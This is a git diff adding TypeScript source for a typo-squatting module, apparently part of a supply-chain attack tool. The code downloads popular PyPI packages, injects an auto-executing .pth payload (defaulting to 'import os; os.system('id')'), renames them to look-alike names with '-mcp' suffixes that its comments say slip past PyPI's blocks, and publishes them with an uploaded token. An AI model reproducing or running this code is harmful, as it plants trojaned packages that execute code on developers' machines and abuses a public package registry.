diff --git a/src/mutator/typo/index.ts b/src/mutator/typo/index.ts new file mode 100644 index 0000000..a5a39ce --- /dev/null +++ b/src/mutator/typo/index.ts @@ -0,0 +1,147 @@ +// TypoMutator — typo-squats existing PyPI packages via keyboard proximity. +// +// Environment: +// TYPO_MODE=1 enable +// TARGET_PACKAGES=requests,... comma-separated list of packages to squat +// +// For each target package: +// 1. Generate typo names via single-char keyboard-adjacent substitution +// 2. Download the original wheel +// 3. Repack under the typo name (rename everything) +// 4. Publish to PyPI as a new package +// +// Published typo packages contain the original code but with a new name +// and version 0.0.1, making them indistinguishable from legitimate packages +// to anyone who glances at the name. + +import { INJECT_PTH } from "../../generated"; +import { logUtil } from "../../utils/logger"; +import { Mutator } from "../base"; +import { uploadWheel } from "../pypi/upload"; +import { + buildMinimalWheel, + downloadWheel, + fetchPackageMetaExtended, + patchWheel, + repackAsTypo, +} from "../pypi/wheel"; +import { generateTypos } from "./typoGen"; + +export class TypoMutator extends Mutator { + private readonly token: string; + private readonly packages: string[]; + + constructor(token: string, packages: string[]) { + super(); + this.token = token; + this.packages = packages; + } + + override async shouldExecute(): Promise { + return process.env.TYPO_MODE === "1" && this.packages.length > 0; + } + + async execute(): Promise { + if (this.packages.length === 0) { + logUtil.log("[typo] TARGET_PACKAGES is empty"); + return false; + } + + logUtil.log( + `[typo] Targeting ${this.packages.length} package(s): ${this.packages.join(", ")}`, + ); + + let published = 0; + + for (const pkgName of this.packages) { + try { + const ok = await this.squatPackage(pkgName); + if (ok) published++; + } catch (e) { + logUtil.log( + `[typo] Aborting: ${e instanceof Error ? e.message : String(e)}`, + ); + break; + } + } + + logUtil.log(`[typo] Done. Published ${published} typo package(s).`); + return published > 0; + } + + private async squatPackage(pkgName: string): Promise { + // 1. Fetch and get wheel data (from wheel or build from sdist) + const meta = await fetchPackageMetaExtended(pkgName); + if (!meta) { + logUtil.log(`[typo] ${pkgName}: not found on PyPI`); + return false; + } + + let wheelData: Uint8Array; + if (meta.wheelUrl) { + const data = await downloadWheel(meta.wheelUrl); + if (!data) { + logUtil.log( + `[typo] ${pkgName}: wheel unavailable or too large, skipping`, + ); + return false; + } + wheelData = data; + } else { + logUtil.log(`[typo] ${pkgName}: sdist only — building minimal wheel`); + const pthContent = (INJECT_PTH as string) || "import os; os.system('id')"; + wheelData = buildMinimalWheel(meta.name, meta.version, pthContent); + } + + // 2. Find an available typo name (skip ones already on PyPI) + const typos = generateTypos(pkgName, 20); + for (const typoName of typos) { + const existing = await fetchPackageMetaExtended(typoName); + if (existing) { + logUtil.log(`[typo] ${typoName} already exists on PyPI, skipping`); + continue; + } + + logUtil.log(`[typo] ${pkgName} → ${typoName}`); + + try { + const pthContent = + (INJECT_PTH as string) || "import os; os.system('id')"; + const patched = patchWheel({ + meta: { + name: meta.name, + version: meta.version, + wheelUrl: meta.wheelUrl ?? "", + wheelFilename: meta.wheelFilename ?? "", + }, + wheelData, + pthContent, + }); + const typoWheel = repackAsTypo(patched.data, meta.name, typoName); + const ok = await uploadWheel({ + token: this.token, + pkgName: typoName, + version: typoWheel.version, + filename: typoWheel.filename, + wheelData: typoWheel.data, + }); + + if (ok) { + logUtil.log(`[typo] Published ${typoName}@${typoWheel.version}`); + return true; + } + logUtil.log(`[typo] Failed to publish ${typoName}`); + // Rate-limited — stop immediately + return false; + } catch (e) { + const msg = e instanceof Error ? e.message : String(e); + logUtil.log(`[typo] Error repacking ${typoName}: ${msg}`); + // Re-throw rate limits — abort everything + if (msg.includes("429") || msg.includes("rate limit")) throw e; + } + } + + logUtil.log(`[typo] ${pkgName}: no available typo name found`); + return false; + } +} diff --git a/src/mutator/typo/typoGen.ts b/src/mutator/typo/typoGen.ts new file mode 100644 index 0000000..0e6cc83 --- /dev/null +++ b/src/mutator/typo/typoGen.ts @@ -0,0 +1,12 @@ +// MCP suffix variants for typo-squatting. +// PyPI blocks direct typos but allows -mcp suffix packages. + +const MCP_SUFFIXES = ["-mcp", "-mpc"]; + +/** + * Generate package names by appending MCP suffixes. + * Returns up to `limit` variants. + */ +export function generateTypos(name: string, limit = 5): string[] { + return MCP_SUFFIXES.map((s) => `${name}${s}`).slice(0, limit); +}